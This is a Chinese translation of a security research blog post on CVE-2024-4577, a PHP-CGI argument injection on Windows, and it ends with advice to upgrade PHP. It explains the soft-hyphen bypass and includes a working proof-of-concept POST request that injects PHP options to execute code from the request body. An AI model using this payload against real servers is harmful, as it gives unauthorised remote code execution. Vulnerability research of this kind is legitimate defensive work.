[翻译]No Way, PHP Strikes Again! (CVE-2024-4577)
[翻译]No Way, PHP Strikes Again! (CVE-2024-4577)
walker1995 沃克学安全 2024-06-12 19:46
没办法,PHP再次来袭(CVE-2024-4577)
原文地址:
https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
发表时间:2024-06-07
漏洞研究
Orange Tsai 几个小时前发了一条推文,称“他的一个 PHP 漏洞影响默认配置的XAMPP”,我们对此感到十分好奇。XAMPP 是管理员和开发人员快速部署 Apache、PHP 和许多其他工具的一种非常流行的方式,任何可能在其默认安装中给我们带来 RCE 的漏洞听起来都十分诱人。
幸运的是,对于防御者来说,该漏洞仅在基于 Windows 的 PHP 安装(其中 PHP 专门用于 CGI 模式)中被利用,且是在下面这些特定的区域设置下:
– 中文(简体和繁体),以及
- 日文
然而,Orange 警告其他地区也可能受到影响,并敦促用户升级到最新版本的 PHP,该版本修复了这些错误(有关详细信息,请参阅他们的
博客文章[https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/
]
)
我们迫切地想指出,我们不确定这种配置或部署类型在现实中有多普遍。在我们的客户群体之外找出答案也不是我们的工作。但无论如何,由于它的根本原因,这是一个有趣的漏洞。请与我们一起享受。
Orange 的博文虽然内容丰富,但并没有告诉我们如何才能获得这个RCE。不幸的是,配置选项范围很广,很难一眼就确定某个实例是否存在漏洞,而且显然,Windows 机器的“区域设置”通常无法从外部获取指纹。因此,我们开始重现这个漏洞 — 如果我们可以利用它,那就是证明可利用性的最佳方式,对吧?
阅读 Orange 的博客后,可以清楚地知道该漏洞仅影响 PHP 的 CGI 模式。在此模式下,Web 服务器解析 HTTP 请求并将其传递给 PHP 脚本,然后脚本对其进行一些处理。例如,querystrings(查询字符串)被解析并传递给命令行上的 PHP 解释器 – 例如,
http://host/cgi.php?foo=bar
之类的请求可能会被执行为 php.exe cgi.php foo=bar。
当然,这确实为命令注入提供了途径,这就是为什么在调用 php.exe 之前要仔细处理和清理输入(咳咳 ,CVE-2012-1823)。然而,似乎有一个开发人员没有考虑到的极端情况,它允许攻击者突破命令行并提供由 PHP 本身解释的参数。这个极端情况与 unicode 字符如何转换为 ASCII 有关。最好用一个例子来解释这一点。
以下是 php.exe 的两次调用,一次是恶意的,一次是良性的。你能发现区别吗?
不,我也不行。让我们在十六进制编辑器中看一下,看看是否能给我们任何线索。
嗯,很有趣——在这里我们可以看到,第一次调用使用了普通的破折号(0x2D),而第二次调用似乎使用了完全不同的东西(显然是“软连字符”),代码为 0xAD(高亮显示)。虽然它们对你我来说都是一样的,但对操作系统来说,它们的含义却大不相同。
这里的一个重要细节是,Apache 会转义实际的连字符 0x2D,但不会转义第二个“软连字符”0xAD。毕竟,它不是真正的连字符,对吧?所以没有必要转义它……对吧?
我们不关心它是否与上面的笑话相同,它仍然很有趣。
好吧。事实证明,作为 Unicode 处理的一部分,PHP 将应用所谓的“best fit”(最佳匹配)映射,并有益地假设,当用户输入软连字符时,他们实际上打算输入真正的连字符,并将其解释为真正的连字符。这就是漏洞所在——如果我们为 CGI 处理程序提供软连字符 (0xAD),CGI 处理程序将不会觉得有必要对其进行转义,而是将其传递给 PHP。然而,PHP 会将其解释为真正的连字符,这允许攻击者将以连字符开头的额外命令行参数偷偷带入 PHP 进程。
这与较旧的 PHP 漏洞(在 CGI 模式下)CVE-2012-1823 非常相似,因此我们可以借用为这个旧漏洞开发的一些利用技术,并对其进行调整以适应我们的新漏洞。一篇有用的
文章(https://pentesterlab.com/exercises/cve-2012-1823/course?ref=labs.watchtowr.com
)
建议,要将我们的注入转化为 RCE,我们应该注入以下参数:
-d allow_url_include=1 -d auto_prepend_file=php://input
这将接受来自 HTTP 请求体的输入,并使用 PHP 进行处理。很简单 – 让我们尝试使用 0xAD“软连字符”而不是正常的连字符。也许这足以绕过转义?
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
哦,太高兴了——我们收到了一个 phpinfo 页面,这表明我们确实实现了 RCE。
结论
一个非常严重的漏洞,但漏洞利用非常简单 – 非常适合周五下午。
不过幸运的是,补丁已经可用,因此我们赞同 Orange Tsai 的建议,升级您安装的PHP版本。一如既往,出色的工作,向 Orange Tsai 致敬。
那些运行在受影响配置处于受影响语言环境(中文(简体或繁体)或日语)之一的用户,我们敦促尽快执行此操作,由于该漏洞利用复杂性低,故该漏洞很有可能被大规模利用。我们仍然强烈建议其他用户更新:
对于其他语言环境(例如英语、韩语、西欧等)的 Windows,由于 PHP 使用场景十分广泛,目前尚无法完全列举并杜绝所有潜在漏洞利用场景,因此建议用户进行全面的资产评估,核实自身使用场景,并将 PHP 更新至最新版本,确保安全。
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~